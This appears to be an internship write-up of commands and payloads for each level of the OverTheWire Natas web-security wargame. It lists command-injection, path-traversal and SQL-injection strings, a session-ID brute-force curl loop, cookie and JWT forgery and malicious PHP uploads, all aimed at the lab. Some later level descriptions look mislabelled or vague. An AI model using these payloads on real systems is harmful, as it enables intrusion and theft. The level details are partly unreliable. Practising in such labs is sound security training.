

DigiSuraksha Wargame internship Task

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NATAS Wargame - Commands Used per Level :-

Natas0

- Open page in browser
- Right-click → View Page Source

Natas1

- Open page in browser
- Right-click → View Page Source

Natas2

- Open page in browser
- Right-click → View Page Source
- Click on /files/

Natas3

- Open page in browser
- Right-click → View Page Source
- Find link to hidden directory /s3cr3t/

Natas4

- Open page in browser
- Edit URL manually to include ?language=en

Natas5

- Open page in browser
- Inspect Element (F12)
- Go to Application tab → Cookies
- Edit cookie loggedin value to 1

Natas6

- Open page in browser
- Right-click → View Page Source
- Find encoded password
- Use: `echo "SOMESTRING" | base64 --decode`

Natas7

- Open page in browser
- Edit URL manually → Add `?page=home`
- Try `?page=../../etc/natas_webpass/natas8`

Natas8

- Open page in browser
- Right-click → View Page Source
- Copy secret algorithm code
- Use Python or online tools to reverse the encoding

Natas9

- Open page in browser
- Inject search parameter: `needle=anytext; cat /etc/natas_webpass/natas10`

Natas10

- Open page in browser
- Inject command with piping: `needle=anytext | cat /etc/natas_webpass/natas11`

Natas11

- Open page in browser
- Inspect cookies
- Download cookie
- Decrypt using: `openssl enc -d -aes-128-ecb -in cookiefile -K key`

Natas12

- Upload a PHP file disguised as an image (.jpg.php)
- Use Burp Suite or intercept upload

Natas13

- Upload pure PHP file and access it directly

Natas14

- Use SQL Injection:

- Username: natas15" OR "1"="1
- Any password

Natas15

- Use SQL Injection with blind guessing
- Use Burp Suite Intruder or a script

Natas16

- Command Injection:
 - anytext | cat /etc/natas_webpass/natas17

Natas17

- Command Injection using time delay:
 - anytext" AND IF(password LIKE "a%", SLEEP(5), 0) --

Natas18

- Brute force session IDs:
 - for i in {1..640}; do curl -b "PHPSESSID=\$i" <http://natas18.natas.labs.overthewire.org/>; done

Natas19

- Similar to Natas18
- Session ID is now encoded (hexadecimal)

Natas20

- Edit POST requests to manually set debug=1
- Upload text session manipulation

Natas21

- Use two different URLs (GET and POST)
- Change admin=1 in request

Natas22

- Page redirects immediately
- Use curl -i to see headers:
 - curl -i -u natas22:password <http://natas22.natas.labs.overthewire.org/>

Natas23

- View Page Source
- Submit secret string into the form

Natas24

- Command Injection via POST:
 - `test$(cat /etc/natas_webpass/natas25)`

Natas25

- Directory Traversal via file parameter:
 - `?lang=....//....//....//etc/natas_webpass/natas26`
- Use file upload trick

Natas26

- Cookie forgery:
 - Modify drawing cookie
 - Base64 decode, edit, and re-encode

Natas27

- SQL Injection with case-sensitive database:
 - `' UNION SELECT password FROM users WHERE username LIKE BINARY 'natas28' --`

Natas28

- SQL Injection using double query techniques

Natas29

- Exploit serialized object in cookie
- Use PHP script to serialize:
 - `php -r '$obj = new Object(); echo serialize($obj);'`

Natas30

- Modify two parameters in POST to be the same:
 - `passwd[]=123&passwd[]=123`

Natas31

- Send crafted multipart/form-data request
- Use Burp Suite Repeater

Natas32

- Upload malicious .php file
- Exploit cron job running uploads

Natas33

- SQL Injection to bypass login:
 - `' OR 1=1 --`

Natas34

- JWT manipulation
 - Decode JWT:
 - Use `jwt.io` or `echo -n 'token' | base64 --decode`
 - Forge admin token to access
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